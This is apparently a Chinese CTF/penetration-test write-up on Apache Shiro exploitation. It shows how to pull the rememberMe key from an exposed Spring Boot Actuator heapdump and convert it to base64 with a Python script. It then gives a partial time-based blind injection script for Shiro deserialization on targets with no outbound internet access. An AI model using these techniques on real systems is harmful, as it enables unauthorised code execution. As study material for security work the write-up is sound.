遇到的一些Shiro利用
heapdump泄露密钥key
这个是在ciscn final渗透中遇到的。
在这里大概记录一下(想搭个环境最后利用老是坏掉,开发的能力还是很欠缺)
访问这个接口/actuator/
![image]()
Spring Boot Actuator 是一个非常强大的工具包,它提供了一组内置的端点(endpoints),用于监控和管理 Spring Boot 应用程序。这些端点可以提供有关应用程序的运行时信息,例如健康状态、环境变量、HTTP 路由等,还可以执行诸如清理缓存、触发垃圾回收等操作。
heapdump是生成的一个包含 Java 虚拟机(JVM)堆内存状态的文件
默认情况下,Actuator 提供的许多端点是禁用的
所以在可以匿名访问或者未授权访问时能用,一般配置里这样写
1 2 3 4 5 6 7 8 9 10
| management: endpoints: web: exposure: include: health,info,heapdump endpoint: health: show-details: always heapdump: enabled: true
|
或
1 2 3
| management.endpoints.web.exposure.include=health,info,heapdump management.endpoint.health.show-details=always management.endpoint.heapdump.enabled=true
|
点击可以下载heapdump文件
我们可以使用工具做掉它
![image]()
可以看到不只key其实还有很多其他东西可以探索
除了这个工具我们还可以使用java自带的
jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe
![image]()
![image]()
可以进行类的过滤,想想我们分析shiro反序列化原理时候的类,我们可以搜一下
![image]()
看看CookieRememberMeMananger
![image]()
找到key使用脚本转换一下
1 2 3 4
| import base64 import struct
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -82, -68, 32, -43, -68, -49, -114, 1, 49, 83, -84, -69, -19, 10, -14, 121)))
|
![image]()
Shrio不出网利用
不出网显而易见就是无法访问外网,很多情况就是能拿到shell但是没办法反弹shell,可能就是把服务器的某个端口映射出来了等等
检测可以使用zhzyker/shiro-1.2.4-rce: shiro <= 1.2.4 反序列化远程命令执行利用脚本 (github.com)
改写了ysoserial,增加时延来判断是否存在漏洞
遍历链子和key来判断利用链
成功后可以进一步利用
在我的了解下主要就是这几个方面解决shiro不出网利用:
比如可以在前端源码中找到某个文件夹是存放文件的可以写进去
构造通用回显
写内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| def BinarySearch(target, index, left, right, lowerStdLimit): while True: mid = (left + right)/2 if mid == left: return chr(mid) break code1 = """ String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath(); int a = (int) var1.charAt(%d); if (a < %d) { Thread.currentThread().sleep(5000L); } """ % (index, mid)
code2 = """ String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath(); int a = (int) var1.charAt(%d); if (a < %d) { Thread.currentThread().sleep(0000L); } """ % (index, mid)
code1_base64 = base64.b64encode(code1) re_value1 = poc(code1_base64)
code2_base64 = base64.b64encode(code2) re_value2 = poc(code2_base64)
time1 = resp_time(target, re_value1)
if time1 > lowerStdLimit: time2 = resp_time(target, re_value2) if time2 <= lowerStdLimit: right = mid else: left = mid else: left = mid
|